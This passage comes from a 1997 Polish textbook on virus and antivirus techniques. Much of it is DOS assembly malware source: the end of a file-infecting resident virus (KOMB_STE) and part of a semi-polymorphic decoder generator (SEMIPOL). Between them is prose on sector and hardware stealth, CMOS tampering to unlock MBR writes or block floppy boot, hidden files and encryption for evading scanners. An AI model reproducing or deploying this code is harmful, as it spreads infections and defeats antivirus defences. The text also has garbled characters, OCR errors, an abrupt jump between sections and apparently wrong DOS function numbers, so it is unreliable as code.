mov word ptr [Skok+1],ax ; zapisz do bufora rozkaz skoku
lea di,TeZnalazlemPlik ; \ zapytaj uzytkownika
Call Druk ; \ czy chce zainfekowac
; \ plik
mov di,cs:StaryDX ; \ nazwa pliku jest
mov ds,cs:StaryDS ; \ wyswietlana
Call Druk ; \
; - (dzieki temu uzytkownik
push cs ; / ma pelna kontrole nad
pop ds ; / tym co wirus infekuje)
lea di,TeInfekcja ; /
Call Druk ; /
Call Decyzja ; /
jc ZamknijPlik ; / CF=1 uzytkownik nie pozwala
mov cx,DlugoscWirusa ; ilosc zapisywanych bajtow
mov dx,100h ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1 to blad
mov cx,3 ; ilosc zapisywanych bajtow
lea dx,Skok ; podaj skad zapisac rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,Czas ; przywroc czas
mov dx,VZnacznik ; zaznacz w dacie infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
Call StareInt21 ; wywolaj stare przerwanie 21h
PrzywrocAtrybut:
mov cl,cs:Atrybut ; podaj stary atrybut
mov ch,0 ; CX=CL
mov dx,cs:StaryDX ; \ podaj nazwe pliku do zmiany
mov ds,cs:StaryDS ; / w DS:DX
mov ax,4301h ; funkcja DOS - zmien atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
Call PrzywrocStare24
pop di si dx cx bx ax ds es ; przywroc zmieniane rejestry
PowrotZInt21:
db 0EAh ; mnemonik rozkazu skoku JMP FAR
Stare21Ofs dw ? ; z tych pol korzysta skok
Stare21Seg dw ? ; aby oddac sterowanie do poprzedniego
; elementu lancucha przerwan INT 21
StareInt21:
pushf ; \ symuluj wywolanie przerwania
Call dword ptr cs:[Stare21Ofs] ; / wyowlaj stare przerwanie
ret ; powroc z wywolania
UstawNowe24:
push ds es ax bx dx ; zachowaj zmieniane rejestry
mov ax,3524h ; \ pobierz stara i ustaw
Call StareInt21 ; \ nowa procedure obslugi
mov cs:Stare24Seg,es ; \ przerwania krytycznego
mov cs:Stare24Ofs,bx ; \ INT 24h w celu ochrony
; \ przed ewentulanymi bledami
push cs ; / (np; podczas proby zapisu
pop ds ; / na zabezpieczona przed
lea dx,NoweInt24 ; / zapisem dyskietce nie
mov ax,2524h ; / zostanie wywolany dialog
Call StareInt21 ; / ARIF)
pop dx bx ax es ds ; przywroc zmieniane rejestry
ret ; powroc z wywolania
PrzywrocStare24:
push ds ax dx ; zachowaj zmieniane rejestry
lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare przerwanie
mov ax,2524h ; - INT 24
Call StareInt21 ; /
pop dx ax ds ; przywroc zmieniane rejestry
ret
DrukSI: ; procedura wyswietla tekst z
; CS:[DI+SI]
add di,si ; tekst w DI, dodaj SI
Druk: ; procedura wyswietla tekst z
; CS:[DI]
push ax di ; zachowaj zmieniane rejestry
DrukPetla:
mov al,[di] ; pobierz znak
or al,al ; czy koniec tekstu (znak=NUL) ?
jz DrukPowrot ; TAK - koncz pisanie
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
inc di ; zwieksz indeks (na nastepny znak)
jmp short DrukPetla ; idz po nastepny znak
DrukPowrot:
pop di ax ; przywroc zmieniane rejestry
ret ; powrot
DrukHEX16: ; drukuje liczbe heksalna z AX
push ax ; zachowaj AX (dokladniej AL)
mov al,ah ; najpierw starsza czesc
Call DrukHex8 ; wyswietl AH
pop ax ; przywroc AX (dokladniej AL)
; i wyswietl AL
DrukHex8: ; drukuje liczbe heksalna z AL
push ax ; zachowaj AX (dokladniej 4 bity AL)
shr al,1 ; \
shr al,1 ; \ podziel AL przez 16
shr al,1 ; / czyli wez 4 starsze bity AL
shr al,1 ; /
Call DrukHex4 ; i wydrukuj czesc liczby szesnastkowej
pop ax ; przywroc AX (dokladniej 4 bity AL)
and al,15 ; wez 4 mlodsze bity AL
; i wydrukuj czesc liczby szesnastkowej
DrukHex4:
cmp al,10 ; \ konwersja liczby binarnej
jb Cyfra09 ; \ na znak
add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh na
Cyfra09: ; / '0'..'9', 'A'..'F'
add al,'0' ; /
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
ret ; powrot
Decyzja: ; \ pobiera z klawiatury
mov ah,0h ; \ znak i sprawdza czy jest
int 16h ; \ to litera 'T'lub 't'
and al,0DFh ; \ jesli tak, ustawia CF=0
cmp al,'T' ; \ jesli nie, ustawia CF=1
clc ; /
je DecyzjaTak ; /
stc ; /
DecyzjaTak: ; /
ret ; /
NoweInt24: ;
mov al,3 ; sygnalizuj CF=1, gdy dowolny blad
; nie wywoluj ARIF
iret ; powrot z przerwania
TeCopyRight db CR,LF,'KOMB_STE v1.0, Autor : Adam Blaszczyk 1997',NUL
TeInstalacja db CR,LF,'_ Zainstalowac KOMB_STE w pamieci operacyjnej (T/N) ?',NUL
TeBylZainstalowany db CR,LF,'_ KOMB_STE jest juz w pamieci !',NUL
TeZainstalowany db CR,LF,'_ KOMB_STE zostal zainstalowany w segmencie : ',NUL
TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL
TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac zainfekowac go wirusem KOMB_STE (T/N) ?',NUL
StareBajty db 0CDh,20h,90h
Skok db 0E9h
KoniecWirusa:
Skok2 dw ?
StaryDS dw ?
StaryDX dw ?
Atrybut db ?
Czas dw ?
Stare24Ofs dw ?
Stare24Seg dw ?
KOMB_STE ends
end start
7.1.3. Podawanie prawdziwej zawartości sektorów (ang. sector level stealth)
Oczywiście, technikę stealth można stosować także w przypadku odczytu sektorów; należy przejąć obsługę funkcji (02/13) oraz ewentualnie (0A/13). W momencie próby odczytu zarażonego MBR lub BOOT-sektora wirus podsuwa programowi odczytującemu ich oryginalna, nie zainfekowaną zawartość (podobnie jak w przypadku plików, sektory zainfekowane muszą być w jakiś sposób oznaczone, żeby wirus mógł je rozpoznać). Aby ustrzec się przed programami umożliwiającymi odświeżenie tablicy partycji lub BOOT-sektora, można dodatkowo zabezpieczyć sektory zawierające wirusa przed zapisem poprzez przejęcie funkcji (03/13) i ewentualnie (0B/13).
7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych (ang. hardware level stealth)
W przypadku sektorów istnieje możliwość zastosowania tzw. techniki hardtvare level stealth, która jest rozszerzeniem metody opisanej w poprzednim punkcie. Technika ta polega na przechwyceniu odwołań do dysków już na etapie przerwania sprzętowego IRQ 14 (INT 76h) lub poprzez przejęcie wywoływanej przez to przerwanie funkcji (9100/15h), co umożliwia oszukiwanie systemu na najniższym poziomie programowym- Podczas obsługi tego przerwania lub funkcji wirus może odczytać z portów lFx dane o aktualnie wykonywanej operacji i następnie, w razie wykrycia odwołania np. do MBR, zmienić rozkaz tak, aby odczytywać inny sektor, zawierający prawdziwą zawartość MBR.
Sprawdzenie aktualnie wykonywanej operacji polega na odczycie baj-tu z portu 1F7 (rejestr statusowy IDE) i przetestowaniu bitów jego młodszej części. Jeżeli któryś z nich jest ustawiony (tzn. ma wartość l), oznacza to, iż właśnie jest wykonywana operacja odczytu. Parametry odczytywanego sektora (cylinder, głowicę, sektor) można odczytać z portów 1F3, 1F4/1F5/1F6. Jeżeli odczytane dane są zgodne z oczekiwanymi, wirus musi wykonać do końca operację odczytu oraz ustawić dane w portach kontrolera na inny sektor (np. na taki, w którym znajduje się oryginalna zawartość odczytywanego sektora).
W efekcie program antywirusowy, który używa do odczytu sektorów bezpośredniego adresu przerwania int 13h, zawartego w BIOS-ie, i tak będzie oszukiwany przez wirusa. Aby technika hardware level stealth zadziałała, sterownik dysku musi generować IRQ14 (co można ustawić programowo) przy realizacji operacji dostępu do dysku.
7.2. ModyfikacjaCMOS-a
Nowoczesne BIOS-y zawierają mechanizmy zabezpieczania niektórych newralgicznych sektorów przed zapisem (MBR, BOOT-sektory). W momencie wykrycia próby zapisu do któregoś z tych sektorów system najczęściej w jakiś sposób alarmuje użytkownika i czasem prosi go o potwierdzenie wykonywanej operacji lub też, aby kompletnie uniemożliwić tę operację, zawiesza komputer i czeka na naciśnięcie klawisza RESET.
To, czy BIOS będzie reagował na próby zapisu do newralgicznych sektorów, ustalane jest zwykle z poziomu programu SETUP, który dostępny jest po naciśnięciu jakiegoś klawisza (najczęściej DEL lub CTRL-ALT-ESC) podczas uruchamiania komputera. Ustalone w programie SETUP parametry są po jego opuszczeniu zapisywane do podtrzymywanej baterią pamięci CMOS.
Korzystając z tego, iż pamięć ta dostępna jest programowo, można zmodyfikować pewne dane, tak aby np. na chwilę odblokować zapis do MBR. Wymaga to jednak znajomości różnych systemów BIOS, gdyż znajdująca się w nich pamięć CMOS ma zazwyczaj zawartość odmienną od pamięci w innych komputerach, a jej zgodność ogranicza się do ustalonego znaczenia początkowych komórek tej pamięci (co jest konieczne ze względu na kompatybilność).
Drugim parametrem możliwym do zmodyfikowania w CMOS-ie jest wartość określająca, jakie napędy dyskietek zamontowane są w komputerze. Wirus może wyzerować tę wartość, tak iż przy starcie BIOS nie będzie widział żadnej dyskietki i będzie próbował załadować system z twardego dysku (z MBR), razem ze znajdującym się w nim wirusem. Po załadowaniu wirus przywraca parametry dyskietek w CMOS-ie i następnie sprawdza, czy napęd FDD zawiera dyskietkę i ewentualnie wczytuje z niej BOOT-sektor, po czym oddaje do niego sterowanie.
Zainstalowany w systemie wirus przy odwołaniach do dyskietek ustawia parametry w CMOS-ie, a po ich zakończeniu znowu je kasuje, tak więc po wyłączeniu komputera parametry w CMOS-ie będą najczęściej skasowane. Takie działałanie dość mocno utrudni załadowanie systemu z czystej dyskietki, zwłaszcza jeśli wirus potrafi także zainstalować w pamięci CMOS hasło, uniemożliwiające przeciętnemu użytkownikowi dostanie się do programu SETUP.
7.3. Atrybut etykiet dysku (ang. VolumeID)
Do ukrywania się w systemie niektóre wirusy wykorzystują fakt, iż programy przeglądające zawartości katalogu (typowe nakładki lub polecenie DIR) nie pokazują zwykle pozycji katalogu zawierających atrybut VolumeID (etykieta dysku). Wirusy dodają do dotychczasowych atrybutów pliku, zawierającego np. kod wirusa, także wyżej wymieniony atrybut (np. poprzez wykorzystanie omówionych wcześniej tablic SFT). Tak ukryty plik będzie widoczny najczęściej tylko w tzw. edytorach binarnych, operujących na zawartości fizycznych sektorów (np. Disk Editor).
Ta sztuczka nie wymaga instalowania w systemie żadnego rezydent-nego kodu, gdyż niewidzialność zagwarantuje sam system DOS.
7.4. Dodatkowe ścieżki na dyskach
Ze względu na to, iż wirusy zarażające sektor MBR lub BOOT-sektory są programami zajmującymi zwykle obszar będący wielokrotnością kilku sektorów, twórca wirusa musi podjąć decyzję, gdzie umieścić wirusa po infekcji.
Nie mogą to być sektory wybrane na chybił trafił, gdyż ich zamazanie kodem wirusa może zniszczyć dane, ważne dla działania systemu. Większość wirusów dopisuje się na początku dysku, w obszarze pierwszego cylindra (bezpośrednio za tablicą partycji). Tylko nieliczne wirusy potrafią lepiej ukryć swój kod przed programami antywirusowymi. Korzystając z tego, iż większość dysków posiada więcej sektorów niż liczba widziana przez system BIOS, wirusy doformato-wywują sobie dodatkowe używane sektory, po czym je wykorzystują.
kodu wirusa. Jedyną wadą tradycyjnego szyfrowania była konieczność pozostawienia nie zakodowanej procedury dekodującej, co w pewnym sensie skazywało wirusa na rychłe wykrycie, gdyż nawet kilkubajtowy kod takiej procedury stanowił w zasadzie sygnaturę wirusa, umożliwiającą jego identyfikację. Aby ominąć tę przeszkodę, zaczęto rozważać możliwość stworzenia generatora procedur dekodu-jących, które różniłyby się rozmieszczeniem i doborem instrukcji, rejestrami roboczymi oraz sposobem deszyfrowania. Przejście od teorii do praktyki stało się możliwe wraz z pojawieniem się MtE, który choć pierwszy, do dziś uznawany jest za generator produkujący jedne z najbardziej zmiennych i wyszukanych (ang. sophisticated) procedur
dekodujących. O stopniu skomplikowania wirusa szyfrującego swój kod decydują
dwie poniższe procedury:
> procedura generująca szyfrator (ang. encryptor);
> procedura generująca dekoder (ang. decryptor).
W zależności od ich skomplikowania można wyróżnić wirusy, które
zawierają:
> stały szyfrator + stały dekoder - kod wirusa wraz z dekoderem za każdym razem wygląda identycznie (z dokładnością do kodu wirusa i pominięciem zmiennych zapamiętywanych wewnątrz wirusa); wykrywanie wirusa przebiega identycznie jak w przypadku wirusów nieszyfrowanych;
> stały szyfrator + zmienny dekoder - raczej rzadko stosowany;
jeżeli ktoś potrafi zastosować zmienny dekoder, zwykle tworzy także zmienną procedurę szyfrującą;
> zmienny szyfrator + stały dekoder - kod wirusa za każdym razem wygląda inaczej, dekoder jest zawsze taki sam; wykrycie procedury dekodującej wykrywa również wirusa;
> zmienny szyfrator + zmienny dekoder - kod wirusa wraz z dekoderem za każdym razem wygląda inaczej; są to tzw. wirusy
polimorficzne
ROZDZIAŁ 8
8.1. Procedury szyfrujące kod
Do zaszyfrowania wirusa można zastosować dowolną z dostępnych w procesorze, odwracalnych operacji matematycznych lub logicznych, a więc:
> dodawanie - operacja ADD;
> odejmowanie - operacja SUB;
> suma modulo 2 - operacja XOR;
> negowanie arytmetyczne - operacja NEG;
> negowanie logiczne - operacja NOT;
> przesunięcie cykliczne w lewo - operacja ROL;
> przesunięcie cykliczne w prawo - operacja ROR.
Są to najczęściej wykorzystywane metody szyfrowania, choć nic nie stoi na przeszkodzie, aby wprowadzić inne, np. przestawianie bajtów miejscami, traktowanie licznika lub indeksu jako wartości używanej w wymienionych wyżej operacjach matematycznych i logicznych.
To, która operacja (lub operacje) będzie użyta oraz z jakimi parametrami, zależy wyłącznie od inwencji projektującego procedurę. Jeżeli składa się ona za każdym razem z tych samych instrukcji, to jest to stała procedura szyfrująca i będzie dawać za każdym razem taki sam obraz zakodowanego wirusa. Zupełnie inaczej sprawa ma się ze zmienną procedurą szyfrującą, która po wywołaniu wybiera przypadkowo ilość operacji szyfrujących, a następnie w pętli losuje:
> rodzaj operacji wykonywanej na argumencie;
> argumenty operacji;
> rodzaj argumentów (bajt, słowo, podwójne słowo, ewentualnie
inne).
Wybierane operacje oraz argumenty należy gdzieś zapamiętać (zwykle w tablicy lub na stosie), gdyż w przyszłości będzie je wykorzystywać procedura generująca dekoder.
8.2. Procedury dekodujące
Działanie typowego dekodera ogranicza się do wykonania w odwrotnej kolejności operacji wykonywanych przez procedurę szyfrującą, z uwzględnieniem koniecznych zmian operacji, np. ADD-SUB, SUB-ADD. Na przykład, jeżeli procedura szyfrująca wygląda następująco:
MOV CX, IleBajt¾w
MOV BX,Pocz╣tekDanychDoZakodowania
PÛtla:
XOR byte ptr [BX],12h
ADD byte ptr [BX],34h
NOT byte ptr [BX]
INC BX
LOOP PÛtla,
to procedura dekodująca powinna wyglądać mniej więcej tak:
MOV CX, IleBajt¾w
MOV BX,Pocz╣tekDanychDoZakodowania
PÛtla:
NOT byte ptr [BX]
SUB byte ptr [BX],34h
XOR byte ptr [BX],12h
INC BX
LOOP PÛtla.
W przykładzie tym operacja ADD z procedury szyfrującej przeszła w operację SUB w dekoderze (oczywiście można zastosować także operację ADD z przeciwnym argumentem, tzn. -34h). Niestety, nawet jeżeli kod wirusa jest szyfrowany za każdym razem inaczej, to i tak wszystkie możliwe do wygenerowania procedury dekodera będą zawsze zgodne ze schematem (dla poprzedniego przykładu):
MOV CX,IleBajt¾w
MOV BX,Pocz╣tekDanychDoZakodowania
PÛtla:
DEKODUJ [BX] DEKODUJ [BX]
DEKODUJ [BX]
INC BX
LOOP PÛtla,
co dla nowoczesnych skanerów nie stanowi żadnej przeszkody
Aby uzyskać za każdym razem inny, bardziej unikalny dekoder, można zastosować zmienne, polimorficzne procedury dekodujące.
8.2.1. Polimorficzne procedury dekodujące
Stworzenie własnego wirusa polimorficznego nie jest zadaniem łatwym, czego pośrednim dowodem jest dość mała ilość oryginalnych wirusów tego typu. Najtrudniejszym elementem jest oczywiście stworzenie samego generatora zmiennych procedur dekodujących.
Ze względu na specyfikę zadania, jakie musi on wykonywać (generowanie wykonywalnych sekwencji rozkazów), do jego zaprogramowania niezbędna jest znajomość rozkazów procesorów 80x86 oraz ich maszynowych odpowiedników.
Poniżej omówiono dwie metody tworzenia zmiennych procedur szyfrujących. W obu przypadkach założono, iż cały kod wirusa został już zakodowany w sposób omówiony w poprzednich punktach, zaś operacje i ich argumenty są zachowane w jakiejś tablicy.
8.2.1.1. Semi-polimorfizm
Aby rozkodować kod wirusa najczęściej stosuje się pętlę podobną do poniższej sekwencji:
MOV licznik, IleDanych
MOV indeks, Pocz╣tekDanychDoZakodowania
PÛtla:
dekoduj_i [indeks]
DEKODUJ_2 [indeks]
DEKODUJ_N [indeks]
ADD indeks, przyrost
LOOP PÛtla
Jest to procedura, którą bardzo larwo wykryć, ponieważ w zasadzie jest ona stalą. Chcąc uczynić ją w jakiś sposób zmienną, można zdefiniować pewną ilość podobnych do siebie w działaniu procedur i spośród nich losować tę, która zostanie użyta przy kolejnej generacji wirusa. Niektóre wirusy zawierają od kilku do kilkudziesięciu takich stałych procedur dekodujących, które choć działają tak samo, zbudowane są z różnych rejestrów i instrukcji. Ze względu na ograniczoną ilość takich procedur, które mogą być zawarte w ciele wirusa (zwiększają one przecież długość kodu), ilość różnych możliwych wariantów wirusa jest tak naprawdę bardzo ograniczona.
Inny sposób uzyskania pewnej zmienności w procedurze dekodującej polega na stworzeniu bufora wypełnionego przypadkowymi wartościami, w którym umieszcza się kolejne instrukcje procedury dekodującej, a po każdej z nich - rozkaz skoku do następnej instrukcji. Zaprogramowanie generatora takich procedur nie stanowi dużego problemu. Wystarczy znać odpowiednie kody maszynowe kolejnych rozkazów procedury dekodującej i sekwencyjnie umieszczać je w buforze, a bezpośrednio za nimi generować rozkaz skoku o kilka bajtów do przodu, np. rozkazem JMP SHORT NEAR (kod maszynowy 0EB/??) lub JMP NEAR (kod maszynowy E9/??/??).
Jedynym problemem, na jaki natknąć się może twórca takiej procedury są offsety, pod które powinien skakać program przy wykonywaniu pętli, gdyż zapisując instrukcje sekwencyjnie napotykamy na konieczność umieszczenia wartości początkowej np. w rejestrze, choć jeszcze jej nie znamy. Aby ominąć tę przeszkodę, najprościej zapamiętać offsety do instrukcji, zarezerwować dla nich miejsce, a następnie w dalszej części kodu (kiedy już są znane), zmodyfikować je pod zapamiętanymi offsetami.
W zamieszczonym programie przykładowym za pomocą powyższej metody szyfrowany jest krótki programik, mający za zadanie wyświetlenie komunikatu po jego uruchomieniu. Wynik kilkakrotnego działania procedury zapisywany jest w plikach SEMI????.COM, gdzie ???? jest parametrem podawanym przy starcie programu (w wypadku braku parametru - domyślnie=10). Wygenerowane pliki zawierają tylko jeden stały bajt na początku programu (część rozkazu JMP SHORT o kodzie EB). Poprzez zastąpienie procedury Losowy-Skok (wstawić RET zaraz po etykiecie LosowySkok:) można łatwo zmodyfikować ten program, tak aby generował pliki szyfrowane w standardowy sposób (bez dodawania losowych skoków pomiędzy instrukcjami).
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; SEMIPOL v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program generuje pliki zakodowane semi-polimorficznie ;
; (pomiedzy wlasciwe instrukcje dekodera sa wstawiane ;
; przypadkowe rozkazy JUMP) ;
; Kompilacja : ;
; TASM /m2 SEMIPOL.ASM ;
; TLINK SEMIPOL.OBJ ;
; ;
;----------------------------------------------------------------------------;
SEMI_POL SEGMENT
ASSUME CS:SEMI_POL, DS:SEMI_POL, SS:SEMI_POL, ES:SEMI_POL
NUL = 00h ; \
TAB = 09h ; \
LF = 0Ah ; \ stale znakowe
CR = 0Dh ; /
SPACE = 20h ; /
DOLAR = '$' ; /
RozmiarStosu equ 200h ; rozmiar stosu
DomyslnieIlePlikow = 10 ; domyslnie generuj 10 plikow
;-----------------------------------------------------------------------------
Start:
Call InicjujSystem ; ustaw zmienne programu
lea si,TeCopyRight ; wyswietl info o programie
Call Druk
Call WezParametry ; wez parametry z linii polecen
lea si,TeGenerator ; wyswietl info o dzialaniu
Call Druk
Call GenerowaniePlikow ; generuj pliki
mov ax,4C00h ; funkcja DOS - powrot do systemu
int 21h ; wywolaj funkcje
;-----------------------------------------------------------------------------
GenerowaniePlikow proc near ; procedura generuje pliki SEMI????.COM
push ds es ax bx cx dx si di ; zachowaj na stosie zmieniane rejestry
mov cx, LiczbaPlikow ; cx=ile plikow do wygenerowania
GenJedenPlik:
push cx ; zachowaj na stosie : ile plikow
lea si,AktualnaNazwaPliku ; \ wyswietl nazwe pliku
Call DrukLn ; /
lea dx,AktualnaNazwaPliku ; sprobuj otworzyc (tworzony) plik
mov ax,3D02h ; funkcja DOS - otworz plik
int 21h ; wywolaj funkcje
jnc WezUchwyt ; CF=0 plik juz istnial, nadpisz go
mov cx,20h ; atrybut pliku tworzonego : Archive
lea dx,AktualnaNazwaPliku ; podaj nazwe tworzonego pliku
mov ah,5Bh ; funkcja DOS - tworz plik
int 21h ; wywolaj funkcje
WezUchwyt:
mov UchwytPliku,ax ; zapamietaj uchwyt pliku
lea si,StartKoduPrzykladowego ; DS:SI - skad brac kod do szyfrowania
lea di,BuforDocelowy ; ES:DI - dokad zapisywac zaszyfrowany kod
mov cx,RozmiarPrzykladowegoKodu ; CX - rozmiar szyfrowanego kodu
Call SemiPol
; CX:=Ile danych do zapisu
lea dx,BuforDocelowy ; skad zapisac dane
mov bx,UchwytPliku ; numer uchwytu
mov ah,40h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje
Call ZwiekszNumerPliku ; SEMI(xxxx) -> SEMI(xxxx+1)
pop cx ; przywroc ze stosu : ile plikow
loop GenJedenPlik ; generuj CX plikow
pop di si dx cx bx ax es ds ; przywroc ze stosu zmieniane rejestry
ret ; powrot z procedury
GenerowaniePlikow endp
;-----------------------------------------------------------------------------
ZwiekszNumerPliku proc near ; zmienia SEMI(xxxx) na SEMI(xxxx+1)
; operuje na lancuchu 'SEMIxxxx'
push cx si ; zachowaj na stosie zmieniane rejestry
mov cx,4 ; CX = ile max. obiegow petli = 4 cyfry
ZwiekszNumerPlikuPetla:
mov si,cx
dec si
inc byte ptr [AktNumPliku+si] ; zwieksz cyfre od konca w SEMIxxxx
cmp byte ptr [AktNumPliku+si],'9'
; czy numer > 9 ?
jbe ZwiekszNumerPlikuPowrot ; nie wiekszy = powrot z procedury
; wiekszy = uwzglednij przeniesienie
mov byte ptr [AktNumPliku+si],'0'
; cyfra : 9->0
loop ZwiekszNumerPlikuPetla ; ewentualnie powtarzaj
ZwiekszNumerPlikuPowrot:
pop si cx ; przywroc ze stosu zmieniane rejestry
ret ; powrot z procedury
ZwiekszNumerPliku endp
;-----------------------------------------------------------------------------
WezParametry proc near ; pobiera parametry z PSP:80h
push ds ; zachowaj DS
mov di,DomyslnieIlePlikow ; DI=ile plikow wygenerowac
mov ds,PSP_Segment ; DS:=PSP
mov si,80h ; DS:SI=PSP:80
lodsw ; DS:SI=PSP:82, AX:=licznik znakow
or al,al ; czy sa jakies znaki w linii polecen ?
jz WezParametryPowrot ; nie = wyjdz z procedury
SzukajCyfry:
lodsb ; wez znak
cmp al,SPACE ; \pomin spacje
je SzukajCyfry ; /
cmp al,TAB ; \pomin tabulator
je SzukajCyfry ; /
mov bx,si ; zachowaj pozycje w lancuchu
SzukajCR: ; szukaj konca ciagu znakow
lodsb ; wez znak
cmp al,CR ; czy koniec lancucha ?
je LancuchNaLiczbe ; tak = konwersja
cmp al,SPACE ; czy spacja ?
je LancuchNaLiczbe ; tak = konwersja
cmp al,TAB ; czy tabulator ?
je LancuchNaLiczbe ; tak = konwersja
cmp al,'0' ; \
jb WezParametryPowrot ; \ czy znak w zakresie
; - '0'..'9'
cmp al,'9' ; / jezeli nie, to blad
ja WezParametryPowrot ; /
jmp short SzukajCR ; wez kolejny znak
LancuchNaLiczbe: ; konwersja lancucha na liczbe
mov cx,si ; wez koniec lancucha
sub cx,bx ; odejmij poczatek lancucha
jcxz WezParametryPowrot ; skocz, gdy nie ma czego konwertowac
cmp cx,4 ; czy liczba > 9999 ?
ja WezParametryPowrot ; skocz, jesli tak
mov bx,1 ; BX zawiera kolejne potegi 10
xor di,di ; DI zawiera aktualna sume
LancuchNaLiczbeLoop:
; znaki czytamy od konca
dec si ; \ SI:=SI-2
dec si ; /
lodsb ; pobierz znak
sub al,'0' ; konwertuj na liczbe z zakresu 0..9
mov ah,0 ; AX=AL
mul bx ; mnoz przez kolejna potege 10
add di,ax ; dodaj do sumy
mov ax,10 ; zwieksz potege 10
mul bx ; pomnoz 10*BX
xchg ax,bx ; BX:=10 do kolejnej potegi
; 1,10,100,1000
loop LancuchNaLiczbeLoop ; konwertuj kolene cyfry
WezParametryPowrot: ; DI zawiera liczbe plikow
pop ds ; przywroc DS ze stosu
mov LiczbaPlikow,di ; przepisz do zmiennej
ret ; powrot z procedury
WezParametry endp
;-----------------------------------------------------------------------------
DrukLn proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI i dodaje Enter
push si ; SI sie zmienia, trzeba zachowac
Call Druk ; najpierw wyswietl tekst
lea si,TeCRLF ; \ a teraz dodaj CR,LF
Call Druk ; /
pop si ; przywroc SI
ret ; powrot z procedury
DrukLn endp
;-----------------------------------------------------------------------------
Druk proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI
push ax ; \ zachowaj zmieniane rejestry
push si ; /
DrukNastepnyZnak:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem
jz DrukPowrot ; tak=koniec napisu, wyjdz z petli
Call DrukZnak ; jezeli nie, to wyswietl (znak w AL)
jmp short DrukNastepnyZnak ; idz po nastepny znak
DrukPowrot: ; tekst wydrukowany
pop si ; \ przywroc zmieniane rejestry
pop ax ; /
ret ; powrot z procedury
Druk endp
;-----------------------------------------------------------------------------
DrukZnak proc near ; procedura wyswietla znak w AL
push ax ; zachowaj zmieniany rejestr
mov ah,0Eh ; funkcja BIOS - wyswietl znak w AL
int 10h ; wywolaj funkcje
pop ax ; przywroc zmieniany rejestr
ret ; powrot z procedury
DrukZnak endp
;-----------------------------------------------------------------------------
InicjujSystem proc near ; ustawia stos, DS, ES itd.
pop bp ; zachowaj adres powrotu z procedury
; bo stos zostanie przeniesiony
mov CS:PSP_Segment,ds ; zapamietaj PSP
mov ax,cs ; \
mov ds,ax ; - CS=DS=ES
mov es,ax ; /
mov ss,ax ; \ stos na koniec programu
lea sp,StosKoniec ; /
cld ; DF=1, zwiekszaj przy operacjach lancuchowych
jmp bp ; powrot z procedury
InicjujSystem endp
;-----------------------------------------------------------------------------
SemiPol:
push ax si di ; zachowaj na stosie zmieniane rejestry
shr cx,1 ; dlugosc/2 bo szyfrujemy slowa
inc cx ; dla pewnosci, ze wszystkie bajty zostana
; zaszyfrowane
mov Semi_IleDanych,cx ; \
mov Semi_Skad,si ; - zachowaj dane
mov Semi_Dokad,di ; /
call PseudoLosowa ; wez przypadkowa liczbe
mov Semi_Losowa,ax ; bedzie jej uzywac szyfrator i deszyfrator
; szyfruj kod
lea di,TMPBufor ; gdzie zapisac szyfrowany kod
Szyfruj:
lodsw ; wez dana
add ax,Semi_Losowa ; szyfruj ja
stosw ; zapisz zaszyfrowana dana
loop Szyfruj ; powtarzaj szyfrowanie
; wpisz "smieci" do bufora
mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk)
mov cx,256 ; CX:=AX:=ile slow zapisac (1..256)
Smietnik: ; wypelnianie
Call Pseudolosowa ; wez przypadkowa dana
stosw ; zapisz ja
loop Smietnik ; zapisz "smieci" w buforze
; generuj procedure dekodera
;
; Dekoder ma nastepujaca postac :
;
; mov si,PoczatekDanych BE,????
; mov cx,IleDanych B9,????
; Petla:
; sub [si],Losowa 81,2C,????
; dec cx 49
; jz Koniec 74,??
; jmp Petla E9,????
; Koniec:
;
mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk)
call LosowySkok ; wstaw losowy skok
mov al,0BEh ; DEKODER: mov si, ofset Poczaek
stosb ; BE,????
mov Semi_GdziePocz,di ; ofset bedzie wstawiony pozniej
stosw ; zostaw miejsce na ofset
call LosowySkok ; wstaw losowy skok
mov al,0B9h ; DEKODER: mov cx,IleDanych
stosb ; B9,????
mov ax,Semi_IleDanych ; wpisz, ile danych do odszyfrowania
stosw ;
call LosowySkok ; wstaw losowy skok
mov Semi_Petla,di ; DEKODER: sub [si],Losowa
mov ax,2C81h ; pierwsza czesc rozkazu
stosw
mov ax,Semi_Losowa ; zapisz wartosc dekodujaca
stosw ; zaszyfrowany program
call LosowySkok ; wstaw losowy skok
mov al,46h ; DEKODER: inc si
stosb
call LosowySkok ; wstaw losowy skok
mov al,46h ; DEKODER: inc si
stosb
call LosowySkok ; wstaw losowy skok
mov al,49h ; DEKODER: dec cx
stosb
call LosowySkok ; wstaw losowy skok
mov al,74h ; DEKODER: JZ ??
stosb ; wstaw pierwsza czesc rozkazu
mov Semi_DokadJZ,di ; zostanie ustawione pozniej
